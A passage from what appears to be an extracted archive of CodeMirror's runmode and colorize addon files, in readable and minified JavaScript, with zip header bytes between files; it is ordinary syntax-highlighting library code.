j=h?h.mode:e.mode||a.getMode(b,e.spec),k=h?h.state:a.startState(j);e.persistent&&!h&&(d.persistentStates={mode:j,spec:e.spec,state:k,next:d.persistentStates}),d.localState=k,d.local={mode:j,end:e.end&&c(e.end),endScan:e.end&&!1!==e.forceEnd&&c(e.end,!1),endToken:f&&f.join?f[f.length-1]:f}}function
i(a,b){for(var c=0;c<b.length;c++)if(b[c]===a)return!0}function
j(b,c){return
function(d,e,f){if(d.local&&d.local.mode.indent)return
d.local.mode.indent(d.localState,e,f);if(null==d.indent||d.local||c.dontIndentStates&&i(d.state,c.dontIndentStates)>-1)return
a.Pass;var g=d.indent.length-1,h=b[d.state];a:for(;;){for(var
j=0;j<h.length;j++){var
k=h[j];if(k.data.dedent&&!1!==k.data.dedentIfLineStart){var
l=k.regex.exec(e);if(l&&l[0]){g--,(k.next||k.push)&&(h=b[k.next||k.push]),e=e.slice(l[0].length);continue
a}}}break}return
g<0?0:d.indent[g]}}a.defineSimpleMode=function(b,c){a.defineMode(b,(function(b){return
a.simpleMode(b,c)}))},a.simpleMode=function(c,d){b(d,"start");var
g={},h=d.meta||{},i=!1;for(var k in
d)if(k!=h&&d.hasOwnProperty(k))for(var
l=g[k]=[],m=d[k],n=0;n<m.length;n++){var o=m[n];l.push(new
e(o,d)),(o.indent||o.dedent)&&(i=!0)}var
p={startState:function(){return{state:"start",pending:null,local:null,localState:null,indent:i?[]:null}},copyState:function(b){var
c={state:b.state,pending:b.pending,local:b.local,localState:null,indent:b.indent&&b.indent.slice(0)};b.localState&&(c.localState=a.copyState(b.local.mode,b.localState)),b.stack&&(c.stack=b.stack.slice(0));for(var
d=b.persistentStates;d;d=d.next)c.persistentStates={mode:d.mode,spec:d.spec,state:d.state==b.localState?c.localState:a.copyState(d.mode,d.state),next:c.persistentStates};return
c},token:f(g,c),innerMode:function(a){return
a.local&&{mode:a.local.mode,state:a.localState}},indent:j(g,h)};if(h)for(var
q in h)h.hasOwnProperty(q)&&(p[q]=h[q]);return
p}}));PK9��[f�K$codemirror/addon/runmode/colorize.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("./runmode"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "./runmode"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var isBlock = /^(p|li|div|h\\d|pre|blockquote|td)$/;

  function textContent(node, out) {
    if (node.nodeType == 3) return out.push(node.nodeValue);
    for (var ch = node.firstChild; ch; ch = ch.nextSibling) {
      textContent(ch, out);
      if (isBlock.test(node.nodeType)) out.push("\n");
    }
  }

  CodeMirror.colorize = function(collection, defaultMode) {
    if (!collection) collection =
document.body.getElementsByTagName("pre");

    for (var i = 0; i < collection.length; ++i) {
      var node = collection[i];
      var mode = node.getAttribute("data-lang") || defaultMode;
      if (!mode) continue;

      var text = [];
      textContent(node, text);
      node.innerHTML = "";
      CodeMirror.runMode(text.join(""), mode, node);

      node.className += " cm-s-default";
    }
  };
});
PK9��[�g��(codemirror/addon/runmode/colorize.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("./runmode")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","./runmode"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,d){if(3==a.nodeType)return
d.push(a.nodeValue);for(var
e=a.firstChild;e;e=e.nextSibling)b(e,d),c.test(a.nodeType)&&d.push("\n")}var
c=/^(p|li|div|h\\d|pre|blockquote|td)$/;a.colorize=function(c,d){c||(c=document.body.getElementsByTagName("pre"));for(var
e=0;e<c.length;++e){var
f=c[e],g=f.getAttribute("data-lang")||d;if(g){var
h=[];b(f,h),f.innerHTML="",a.runMode(h.join(""),g,f),f.className+="
cm-s-default"}}}}));PK9��[��l�.�..codemirror/addon/runmode/runmode-standalone.jsnu�[���(function
() {
  'use strict';

  function copyObj(obj, target, overwrite) {
    if (!target) { target = {}; }
    for (var prop in obj)
      { if (obj.hasOwnProperty(prop) && (overwrite !== false ||
!target.hasOwnProperty(prop)))
        { target[prop] = obj[prop]; } }
    return target
  }

  // Counts the column offset in a string, taking tabs into account.
  // Used mostly to find indentation.
  function countColumn(string, end, tabSize, startIndex, startValue) {
    if (end == null) {
      end = string.search(/[^\s\u00a0]/);
      if (end == -1) { end = string.length; }
    }
    for (var i = startIndex || 0, n = startValue || 0;;) {
      var nextTab = string.indexOf("\t", i);
      if (nextTab < 0 || nextTab >= end)
        { return n + (end - i) }
      n += nextTab - i;
      n += tabSize - (n % tabSize);
      i = nextTab + 1;
    }
  }

  function nothing() {}

  function createObj(base, props) {
    var inst;
    if (Object.create) {
      inst = Object.create(base);
    } else {
      nothing.prototype = base;
      inst = new nothing();
    }
    if (props) { copyObj(props, inst); }
    return inst
  }

  // STRING STREAM

  // Fed to the mode parsers, provides helper functions to make
  // parsers more succinct.

  var StringStream = function(string, tabSize, lineOracle) {
    this.pos = this.start = 0;
    this.string = string;
    this.tabSize = tabSize || 8;
    this.lastColumnPos = this.lastColumnValue = 0;
    this.lineStart = 0;
    this.lineOracle = lineOracle;
  };

  StringStream.prototype.eol = function () {return this.pos >=
this.string.length};
  StringStream.prototype.sol = function () {return this.pos ==
this.lineStart};
  StringStream.prototype.peek = function () {return
this.string.charAt(this.pos) || undefined};
  StringStream.prototype.next = function () {
    if (this.pos < this.string.length)
      { return this.string.charAt(this.pos++) }
  };
  StringStream.prototype.eat = function (match) {
    var ch = this.string.charAt(this.pos);
    var ok;
    if (typeof match == "string") { ok = ch == match; }
    else { ok = ch && (match.test ? match.test(ch) : match(ch)); }
    if (ok) {++this.pos; return ch}
  };
  StringStream.prototype.eatWhile = function (match) {
    var start = this.pos;
    while (this.eat(match)){}
    return this.pos > start
  };
  StringStream.prototype.eatSpace = function () {
    var start = this.pos;
    while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) { ++this.pos; }
    return this.pos > start
  };
  StringStream.prototype.skipToEnd = function () {this.pos =
this.string.length;};
  StringStream.prototype.skipTo = function (ch) {
    var found = this.string.indexOf(ch, this.pos);
    if (found > -1) {this.pos = found; return true}
  };
  StringStream.prototype.backUp = function (n) {this.pos -= n;};
  StringStream.prototype.column = function () {
    if (this.lastColumnPos < this.start) {
      this.lastColumnValue = countColumn(this.string, this.start,
this.tabSize, this.lastColumnPos, this.lastColumnValue);
      this.lastColumnPos = this.start;
    }
    return this.lastColumnValue - (this.lineStart ?
countColumn(this.string, this.lineStart, this.tabSize) : 0)
  };
  StringStream.prototype.indentation = function () {
    return countColumn(this.string, null, this.tabSize) -
      (this.lineStart ? countColumn(this.string, this.lineStart,
this.tabSize) : 0)
  };
  StringStream.prototype.match = function (pattern, consume,
caseInsensitive) {
    if (typeof pattern == "string") {
      var cased = function (str) { return caseInsensitive ?
str.toLowerCase() : str; };
      var substr = this.string.substr(this.pos, pattern.length);
      if (cased(substr) == cased(pattern)) {
        if (consume !== false) { this.pos += pattern.length; }
        return true
      }
    } else {
      var match = this.string.slice(this.pos).match(pattern);
      if (match && match.index > 0) { return null }
      if (match && consume !== false) { this.pos +=
match[0].length; }
      return match
    }
  };
  StringStream.prototype.current = function (){return
this.string.slice(this.start, this.pos)};
  StringStream.prototype.hideFirstChars = function (n, inner) {
    this.lineStart += n;
    try { return inner() }
    finally { this.lineStart -= n; }
  };
  StringStream.prototype.lookAhead = function (n) {
    var oracle = this.lineOracle;
    return oracle && oracle.lookAhead(n)
  };
  StringStream.prototype.baseToken = function () {
    var oracle = this.lineOracle;
    return oracle && oracle.baseToken(this.pos)
  };

  // Known modes, by name and by MIME
  var modes = {}, mimeModes = {};

  // Extra arguments are stored as the mode's dependencies, which is
  // used by (legacy) mechanisms like loadmode.js to automatically
  // load a mode. (Preferred mechanism is the require/define calls.)
  function defineMode(name, mode) {
    if (arguments.length > 2)
      { mode.dependencies = Array.prototype.slice.call(arguments, 2); }
    modes[name] = mode;
  }

  function defineMIME(mime, spec) {
    mimeModes[mime] = spec;
  }

  // Given a MIME type, a {name, ...options} config object, or a name
  // string, return a mode config object.
  function resolveMode(spec) {
    if (typeof spec == "string" &&
mimeModes.hasOwnProperty(spec)) {
      spec = mimeModes[spec];
    } else if (spec && typeof spec.name == "string"
&& mimeModes.hasOwnProperty(spec.name)) {
      var found = mimeModes[spec.name];
      if (typeof found == "string") { found = {name: found}; }
      spec = createObj(found, spec);
      spec.name = found.name;
    } else if (typeof spec == "string" &&
/^[\w\-]+\/[\w\-]+\+xml$/.test(spec)) {
      return resolveMode("application/xml")
    } else if (typeof spec == "string" &&
/^[\w\-]+\/[\w\-]+\+json$/.test(spec)) {
      return resolveMode("application/json")
    }
    if (typeof spec == "string") { return {name: spec} }
    else { return spec || {name: "null"} }
  }

  // Given a mode spec (anything that resolveMode accepts), find and
  // initialize an actual mode object.
  function getMode(options, spec) {
    spec = resolveMode(spec);
    var mfactory = modes[spec.name];
    if (!mfactory) { return getMode(options, "text/plain") }
    var modeObj = mfactory(options, spec);
    if (modeExtensions.hasOwnProperty(spec.name)) {
      var exts = modeExtensions[spec.name];
      for (var prop in exts) {
        if (!exts.hasOwnProperty(prop)) { continue }
        if (modeObj.hasOwnProperty(prop)) { modeObj["_" + prop] =
modeObj[prop]; }
        modeObj[prop] = exts[prop];
      }
    }
    modeObj.name = spec.name;
    if (spec.helperType) { modeObj.helperType = spec.helperType; }
    if (spec.modeProps) { for (var prop$1 in spec.modeProps)
      { modeObj[prop$1] = spec.modeProps[prop$1]; } }

    return modeObj
  }

  // This can be used to attach properties to mode objects from
  // outside the actual mode definition.
  var modeExtensions = {};
  function extendMode(mode, properties) {
    var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] :
(modeExtensions[mode] = {});
    copyObj(properties, exts);
  }

  function copyState(mode, state) {
    if (state === true) { return state }
    if (mode.copyState) { return mode.copyState(state) }
    var nstate = {};
    for (var n in state) {
      var val = state[n];
      if (val instanceof Array) { val = val.concat([]); }
      nstate[n] = val;
    }
    return nstate
  }

  // Given a mode and a state (for that mode), find the inner mode and
  // state at the position that the state refers to.
  function innerMode(mode, state) {
    var info;
    while (mode.innerMode) {
      info = mode.innerMode(state);
      if (!info || info.mode == mode) { break }
      state = info.state;
      mode = info.mode;
    }
    return info || {mode: mode, state: state}
  }

  function startState(mode, a1, a2) {
    return mode.startState ? mode.startState(a1, a2) : true
  }

  var modeMethods = ({
    __proto__: null,
    modes: modes,
    mimeModes: mimeModes,
    defineMode: defineMode,
    defineMIME: defineMIME,
    resolveMode: resolveMode,
    getMode: getMode,
    modeExtensions: modeExtensions,
    extendMode: extendMode,
    copyState: copyState,
    innerMode: innerMode,
    startState: startState
  });

  // declare global: globalThis, CodeMirror

  // Create a minimal CodeMirror needed to use runMode, and assign to root.
  var root = typeof globalThis !== 'undefined' ? globalThis :
window;
  root.CodeMirror = {};

  // Copy StringStream and mode methods into CodeMirror object.
  CodeMirror.StringStream = StringStream;
  for (var exported in modeMethods) { CodeMirror[exported] =
modeMethods[exported]; }

  // Minimal default mode.
  CodeMirror.defineMode("null", function () { return ({token:
function (stream) { return stream.skipToEnd(); }}); });
  CodeMirror.defineMIME("text/plain", "null");

  CodeMirror.registerHelper = CodeMirror.registerGlobalHelper = Math.min;
  CodeMirror.splitLines = function(string) { return
string.split(/\r?\n|\r/) };

  CodeMirror.defaults = { indentUnit: 2 };

  // CodeMirror, copyright (c) by Marijn Haverbeke and others
  // Distributed under an MIT license: https://codemirror.net/LICENSE

  (function(mod) {
    if (typeof exports == "object" && typeof module ==
"object") // CommonJS
      { mod(require("../../lib/codemirror")); }
    else if (typeof define == "function" && define.amd)
// AMD
      { define(["../../lib/codemirror"], mod); }
    else // Plain browser env
      { mod(CodeMirror); }
  })(function(CodeMirror) {

  CodeMirror.runMode = function(string, modespec, callback, options) {
    var mode = CodeMirror.getMode(CodeMirror.defaults, modespec);
    var tabSize = (options && options.tabSize) ||
CodeMirror.defaults.tabSize;

    // Create a tokenizing callback function if passed-in callback is a DOM
element.
    if (callback.appendChild) {
      var ie = /MSIE \d/.test(navigator.userAgent);
      var ie_lt9 = ie && (document.documentMode == null ||
document.documentMode < 9);
      var node = callback, col = 0;
      node.innerHTML = "";
      callback = function(text, style) {
        if (text == "\n") {
          // Emitting LF or CRLF on IE8 or earlier results in an incorrect
display.
          // Emitting a carriage return makes everything ok.
          node.appendChild(document.createTextNode(ie_lt9 ? '\r'
: text));
          col = 0;
          return;
        }
        var content = "";
        // replace tabs
        for (var pos = 0;;) {
          var idx = text.indexOf("\t", pos);
          if (idx == -1) {
            content += text.slice(pos);
            col += text.length - pos;
            break;
          } else {
            col += idx - pos;
            content += text.slice(pos, idx);
            var size = tabSize - col % tabSize;
            col += size;
            for (var i = 0; i < size; ++i) { content += " "; }
            pos = idx + 1;
          }
        }
        // Create a node with token style and append it to the callback DOM
element.
        if (style) {
          var sp =
node.appendChild(document.createElement("span"));
          sp.className = "cm-" + style.replace(/ +/g, "
cm-");
          sp.appendChild(document.createTextNode(content));
        } else {
          node.appendChild(document.createTextNode(content));
        }
      };
    }

    var lines = CodeMirror.splitLines(string), state = (options &&
options.state) || CodeMirror.startState(mode);
    for (var i = 0, e = lines.length; i < e; ++i) {
      if (i) { callback("\n"); }
      var stream = new CodeMirror.StringStream(lines[i], null, {
        lookAhead: function(n) { return lines[i + n] },
        baseToken: function() {}
      });
      if (!stream.string && mode.blankLine) {
mode.blankLine(state); }
      while (!stream.eol()) {
        var style = mode.token(stream, state);
        callback(stream.current(), style, i, stream.start, state);
        stream.start = stream.pos;
      }
    }
  };

  });

}());
PK9��[�����2codemirror/addon/runmode/runmode-standalone.min.jsnu�[���!(function(){"use
strict";function a(a,b,c){b||(b={});for(var d in
a)!a.hasOwnProperty(d)||!1===c&&b.hasOwnProperty(d)||(b[d]=a[d]);return
b}function
b(a,b,c,d,e){null==b&&-1==(b=a.search(/[^\s\u00a0]/))&&(b=a.length);for(var
f=d||0,g=e||0;;){var
h=a.indexOf("\t",f);if(h<0||h>=b)return
g+(b-f);g+=h-f,g+=c-g%c,f=h+1}}function c(){}function d(b,d){var e;return
Object.create?e=Object.create(b):(c.prototype=b,e=new
c),d&&a(d,e),e}function
e(a,b){arguments.length>2&&(b.dependencies=Array.prototype.slice.call(arguments,2)),n[a]=b}function
f(a,b){o[a]=b}function g(a){if("string"==typeof
a&&o.hasOwnProperty(a))a=o[a];else
if(a&&"string"==typeof
a.name&&o.hasOwnProperty(a.name)){var
b=o[a.name];"string"==typeof
b&&(b={name:b}),a=d(b,a),a.name=b.name}else{if("string"==typeof
a&&/^[\w\-]+\/[\w\-]+\+xml$/.test(a))return
g("application/xml");if("string"==typeof
a&&/^[\w\-]+\/[\w\-]+\+json$/.test(a))return
g("application/json")}return"string"==typeof
a?{name:a}:a||{name:"null"}}function h(a,b){b=g(b);var
c=n[b.name];if(!c)return h(a,"text/plain");var
d=c(a,b);if(p.hasOwnProperty(b.name)){var e=p[b.name];for(var f in
e)e.hasOwnProperty(f)&&(d.hasOwnProperty(f)&&(d["_"+f]=d[f]),d[f]=e[f])}if(d.name=b.name,b.helperType&&(d.helperType=b.helperType),b.modeProps)for(var
i in b.modeProps)d[i]=b.modeProps[i];return d}function
i(b,c){a(c,p.hasOwnProperty(b)?p[b]:p[b]={})}function
j(a,b){if(!0===b)return b;if(a.copyState)return a.copyState(b);var
c={};for(var d in b){var e=b[d];e instanceof
Array&&(e=e.concat([])),c[d]=e}return c}function k(a,b){for(var
c;a.innerMode&&(c=a.innerMode(b))&&c.mode!=a;)b=c.state,a=c.mode;return
c||{mode:a,state:b}}function
l(a,b,c){return!a.startState||a.startState(b,c)}var
m=function(a,b,c){this.pos=this.start=0,this.string=a,this.tabSize=b||8,this.lastColumnPos=this.lastColumnValue=0,this.lineStart=0,this.lineOracle=c};m.prototype.eol=function(){return
this.pos>=this.string.length},m.prototype.sol=function(){return
this.pos==this.lineStart},m.prototype.peek=function(){return
this.string.charAt(this.pos)||void
0},m.prototype.next=function(){if(this.pos<this.string.length)return
this.string.charAt(this.pos++)},m.prototype.eat=function(a){var
b=this.string.charAt(this.pos);if("string"==typeof
a?b==a:b&&(a.test?a.test(b):a(b)))return++this.pos,b},m.prototype.eatWhile=function(a){for(var
b=this.pos;this.eat(a););return
this.pos>b},m.prototype.eatSpace=function(){for(var
a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return
this.pos>a},m.prototype.skipToEnd=function(){this.pos=this.string.length},m.prototype.skipTo=function(a){var
b=this.string.indexOf(a,this.pos);if(b>-1)return
this.pos=b,!0},m.prototype.backUp=function(a){this.pos-=a},m.prototype.column=function(){return
this.lastColumnPos<this.start&&(this.lastColumnValue=b(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue-(this.lineStart?b(this.string,this.lineStart,this.tabSize):0)},m.prototype.indentation=function(){return
b(this.string,null,this.tabSize)-(this.lineStart?b(this.string,this.lineStart,this.tabSize):0)},m.prototype.match=function(a,b,c){if("string"!=typeof
a){var d=this.string.slice(this.pos).match(a);return
d&&d.index>0?null:(d&&!1!==b&&(this.pos+=d[0].length),d)}var
e=function(a){return
c?a.toLowerCase():a};if(e(this.string.substr(this.pos,a.length))==e(a))return!1!==b&&(this.pos+=a.length),!0},m.prototype.current=function(){return
this.string.slice(this.start,this.pos)},m.prototype.hideFirstChars=function(a,b){this.lineStart+=a;try{return
b()}finally{this.lineStart-=a}},m.prototype.lookAhead=function(a){var
b=this.lineOracle;return
b&&b.lookAhead(a)},m.prototype.baseToken=function(){var
a=this.lineOracle;return a&&a.baseToken(this.pos)};var
n={},o={},p={},q={__proto__:null,modes:n,mimeModes:o,defineMode:e,defineMIME:f,resolveMode:g,getMode:h,modeExtensions:p,extendMode:i,copyState:j,innerMode:k,startState:l};("undefined"!=typeof
globalThis?globalThis:window).CodeMirror={},CodeMirror.StringStream=m;for(var
r in
q)CodeMirror[r]=q[r];CodeMirror.defineMode("null",(function(){return{token:function(a){return
a.skipToEnd()}}})),CodeMirror.defineMIME("text/plain","null"),CodeMirror.registerHelper=CodeMirror.registerGlobalHelper=Math.min,CodeMirror.splitLines=function(a){return
a.split(/\r?\n|\r/)},CodeMirror.defaults={indentUnit:2},(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){a.runMode=function(b,c,d,e){var
f=a.getMode(a.defaults,c),g=e&&e.tabSize||a.defaults.tabSize;if(d.appendChild){var
h=/MSIE
\d/.test(navigator.userAgent),i=h&&(null==document.documentMode||document.documentMode<9),j=d,k=0;j.innerHTML="",d=function(a,b){if("\n"==a)return
j.appendChild(document.createTextNode(i?"\r":a)),void(k=0);for(var
c="",d=0;;){var
e=a.indexOf("\t",d);if(-1==e){c+=a.slice(d),k+=a.length-d;break}k+=e-d,c+=a.slice(d,e);var
f=g-k%g;k+=f;for(var h=0;h<f;++h)c+=" ";d=e+1}if(b){var
l=j.appendChild(document.createElement("span"));l.className="cm-"+b.replace(/
+/g," cm-"),l.appendChild(document.createTextNode(c))}else
j.appendChild(document.createTextNode(c))}}for(var
l=a.splitLines(b),m=e&&e.state||a.startState(f),n=0,o=l.length;n<o;++n){n&&d("\n");var
p=new a.StringStream(l[n],null,{lookAhead:function(a){return
l[n+a]},baseToken:function(){}});for(!p.string&&f.blankLine&&f.blankLine(m);!p.eol();){var
q=f.token(p,m);d(p.current(),q,n,p.start,m),p.start=p.pos}}}}))})();PK9��[���[�
�
#codemirror/addon/runmode/runmode.jsnu�[���// CodeMirror,
copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.runMode = function(string, modespec, callback, options) {
  var mode = CodeMirror.getMode(CodeMirror.defaults, modespec);
  var tabSize = (options && options.tabSize) ||
CodeMirror.defaults.tabSize;

  // Create a tokenizing callback function if passed-in callback is a DOM
element.
  if (callback.appendChild) {
    var ie = /MSIE \d/.test(navigator.userAgent);
    var ie_lt9 = ie && (document.documentMode == null ||
document.documentMode < 9);
    var node = callback, col = 0;
    node.innerHTML = "";
    callback = function(text, style) {
      if (text == "\n") {
        // Emitting LF or CRLF on IE8 or earlier results in an incorrect
display.
        // Emitting a carriage return makes everything ok.
        node.appendChild(document.createTextNode(ie_lt9 ? '\r' :
text));
        col = 0;
        return;
      }
      var content = "";
      // replace tabs
      for (var pos = 0;;) {
        var idx = text.indexOf("\t", pos);
        if (idx == -1) {
          content += text.slice(pos);
          col += text.length - pos;
          break;
        } else {
          col += idx - pos;
          content += text.slice(pos, idx);
          var size = tabSize - col % tabSize;
          col += size;
          for (var i = 0; i < size; ++i) content += " ";
          pos = idx + 1;
        }
      }
      // Create a node with token style and append it to the callback DOM
element.
      if (style) {
        var sp =
node.appendChild(document.createElement("span"));
        sp.className = "cm-" + style.replace(/ +/g, "
cm-");
        sp.appendChild(document.createTextNode(content));
      } else {
        node.appendChild(document.createTextNode(content));
      }
    };
  }

  var lines = CodeMirror.splitLines(string), state = (options &&
options.state) || CodeMirror.startState(mode);
  for (var i = 0, e = lines.length; i < e; ++i) {
    if (i) callback("\n");
    var stream = new CodeMirror.StringStream(lines[i], null, {
      lookAhead: function(n) { return lines[i + n] },
      baseToken: function() {}
    });
    if (!stream.string && mode.blankLine) mode.blankLine(state);
    while (!stream.eol()) {
      var style = mode.token(stream, state);
      callback(stream.current(), style, i, stream.start, state);
      stream.start = stream.pos;
    }
  }
};

});
PK9��[�eo��'codemirror/addon/runmode/runmode.min.jsnu�[���"use
strict";function copyObj(a,b,c){b||(b={});for(var d in
a)!a.hasOwnProperty(d)||!1===c&&b.hasOwnProperty(d)||(b[d]=a[d]);return
b}function
countColumn(a,b,c,d,e){null==b&&-1==(b=a.search(/[^\s\u00a0]/))&&(b=a.length);for(var
f=d||0,g=e||0;;){var
h=a.indexOf("\t",f);if(h<0||h>=b)return
g+(b-f);g+=h-f,g+=c-g%c,f=h+1}}function nothing(){}function
createObj(a,b){var c;return
Object.create?c=Object.create(a):(nothing.prototype=a,c=new
nothing),b&&copyObj(b,c),c}function
defineMode(a,b){arguments.length>2&&(b.dependencies=Array.prototype.slice.call(arguments,2)),modes[a]=b}function
defineMIME(a,b){mimeModes[a]=b}function
resolveMode(a){if("string"==typeof
a&&mimeModes.hasOwnProperty(a))a=mimeModes[a];else
if(a&&"string"==typeof
a.name&&mimeModes.hasOwnProperty(a.name)){var
b=mimeModes[a.name];"string"==typeof
b&&(b={name:b}),a=createObj(b,a),a.name=b.name}else{if("string"==typeof
a&&/^[\w\-]+\/[\w\-]+\+xml$/.test(a))return
resolveMode("application/xml");if("string"==typeof
a&&/^[\w\-]+\/[\w\-]+\+json$/.test(a))return
resolveMode("application/json")}return"string"==typeof
a?{name:a}:a||{name:"null"}}function
getMode(a,b){b=resolveMode(b);var c=modes[b.name];if(!c)return
getMode(a,"text/plain");var
d=c(a,b);if(modeExtensions.hasOwnProperty(b.name)){var
e=modeExtensions[b.name];for(var f in
e)e.hasOwnProperty(f)&&(d.hasOwnProperty(f)&&(d["_"+f]=d[f]),d[f]=e[f])}if(d.name=b.name,b.helperType&&(d.helperType=b.helperType),b.modeProps)for(var
g in b.modeProps)d[g]=b.modeProps[g];return d}function
extendMode(a,b){copyObj(b,modeExtensions.hasOwnProperty(a)?modeExtensions[a]:modeExtensions[a]={})}function
copyState(a,b){if(!0===b)return b;if(a.copyState)return a.copyState(b);var
c={};for(var d in b){var e=b[d];e instanceof
Array&&(e=e.concat([])),c[d]=e}return c}function
innerMode(a,b){for(var
c;a.innerMode&&(c=a.innerMode(b))&&c.mode!=a;)b=c.state,a=c.mode;return
c||{mode:a,state:b}}function
startState(a,b,c){return!a.startState||a.startState(b,c)}!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){a.runMode=function(b,c,d,e){var
f=a.getMode(a.defaults,c),g=e&&e.tabSize||a.defaults.tabSize;if(d.appendChild){var
h=/MSIE
\d/.test(navigator.userAgent),i=h&&(null==document.documentMode||document.documentMode<9),j=d,k=0;j.innerHTML="",d=function(a,b){if("\n"==a)return
j.appendChild(document.createTextNode(i?"\r":a)),void(k=0);for(var
c="",d=0;;){var
e=a.indexOf("\t",d);if(-1==e){c+=a.slice(d),k+=a.length-d;break}k+=e-d,c+=a.slice(d,e);var
f=g-k%g;k+=f;for(var h=0;h<f;++h)c+=" ";d=e+1}if(b){var
l=j.appendChild(document.createElement("span"));l.className="cm-"+b.replace(/
+/g," cm-"),l.appendChild(document.createTextNode(c))}else
j.appendChild(document.createTextNode(c))}}for(var
l=a.splitLines(b),m=e&&e.state||a.startState(f),n=0,o=l.length;n<o;++n){n&&d("\n");var
p=new a.StringStream(l[n],null,{lookAhead:function(a){return
l[n+a]},baseToken:function(){}});for(!p.string&&f.blankLine&&f.blankLine(m);!p.eol();){var
q=f.token(p,m);d(p.current(),q,n,p.start,m),p.start=p.pos}}}}));var
StringStream=function(a,b,c){this.pos=this.start=0,this.string=a,this.tabSize=b||8,this.lastColumnPos=this.lastColumnValue=0,this.lineStart=0,this.lineOracle=c};StringStream.prototype.eol=function(){return
this.pos>=this.string.length},StringStream.prototype.sol=function(){return
this.pos==this.lineStart},StringStream.prototype.peek=function(){return
this.string.charAt(this.pos)||void
0},StringStream.prototype.next=function(){if(this.pos<this.string.length)return
this.string.charAt(this.pos++)},StringStream.prototype.eat=function(a){var
b=this.string.charAt(this.pos);if("string"==typeof
a?b==a:b&&(a.test?a.test(b):a(b)))return++this.pos,b},StringStream.prototype.eatWhile=function(a){for(var
b=this.pos;this.eat(a););return
this.pos>b},StringStream.prototype.eatSpace=function(){for(var
a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return
this.pos>a},StringStream.prototype.skipToEnd=function(){this.pos=this.string.length},StringStream.prototype.skipTo=function(a){var
b=this.string.indexOf(a,this.pos);if(b>-1)return
this.pos=b,!0},StringStream.prototype.backUp=function(a){this.pos-=a},StringStream.prototype.column=function(){return
this.lastColumnPos<this.start&&(this.lastColumnValue=countColumn(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue-(this.lineStart?countColumn(this.string,this.lineStart,this.tabSize):0)},StringStream.prototype.indentation=function(){return
countColumn(this.string,null,this.tabSize)-(this.lineStart?countColumn(this.string,this.lineStart,this.tabSize):0)},StringStream.prototype.match=function(a,b,c){if("string"!=typeof
a){var d=this.string.slice(this.pos).match(a);return
d&&d.index>0?null:(d&&!1!==b&&(this.pos+=d[0].length),d)}var
e=function(a){return
c?a.toLowerCase():a};if(e(this.string.substr(this.pos,a.length))==e(a))return!1!==b&&(this.pos+=a.length),!0},StringStream.prototype.current=function(){return
this.string.slice(this.start,this.pos)},StringStream.prototype.hideFirstChars=function(a,b){this.lineStart+=a;try{return
b()}finally{this.lineStart-=a}},StringStream.prototype.lookAhead=function(a){var
b=this.lineOracle;return
b&&b.lookAhead(a)},StringStream.prototype.baseToken=function(){var
a=this.lineOracle;return a&&a.baseToken(this.pos)};var
modes={},mimeModes={},modeExtensions={},modeMethods={__proto__:null,modes:modes,mimeModes:mimeModes,defineMode:defineMode,defineMIME:defineMIME,resolveMode:resolveMode,getMode:getMode,modeExtensions:modeExtensions,extendMode:extendMode,copyState:copyState,innerMode:innerMode,startState:startState};exports.StringStream=StringStream,exports.countColumn=countColumn;for(var
exported in
modeMethods)exports[exported]=modeMethods[exported];require.cache[require.resolve("../../lib/codemirror")]=require.cache[require.resolve("./runmode.node")],require.cache[require.resolve("../../addon/runmode/runmode")]=require.cache[require.resolve("./runmode.node")],exports.defineMode("null",(function(){return{token:function(a){return
a.skipToEnd()}}})),exports.defineMIME("text/plain","null"),exports.registerHelper=exports.registerGlobalHelper=Math.min,exports.splitLines=function(a){return
a.split(/\r?\n|\r/)},exports.defaults={indentUnit:2},(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){a.runMode=function(b,c,d,e){var
f=a.getMode(a.defaults,c),g=e&&e.tabSize||a.defaults.tabSize;if(d.appendChild){var
h=/MSIE
\d/.test(navigator.userAgent),i=h&&(null==document.documentMode||document.documentMode<9),j=d,k=0;j.innerHTML="",d=function(a,b){if("\n"==a)return
j.appendChild(document.createTextNode(i?"\r":a)),void(k=0);for(var
c="",d=0;;){var
e=a.indexOf("\t",d);if(-1==e){c+=a.slice(d),k+=a.length-d;break}k+=e-d,c+=a.slice(d,e);var
f=g-k%g;k+=f;for(var h=0;h<f;++h)c+=" ";d=e+1}if(b){var
l=j.appendChild(document.createElement("span"));l.className="cm-"+b.replace(/
+/g," cm-"),l.appendChild(document.createTextNode(c))}else
j.appendChild(document.createTextNode(c))}}for(var
l=a.splitLines(b),m=e&&e.state||a.startState(f),n=0,o=l.length;n<o;++n){n&&d("\n");var
p=new a.StringStream(l[n],null,{lookAhead:function(a){return
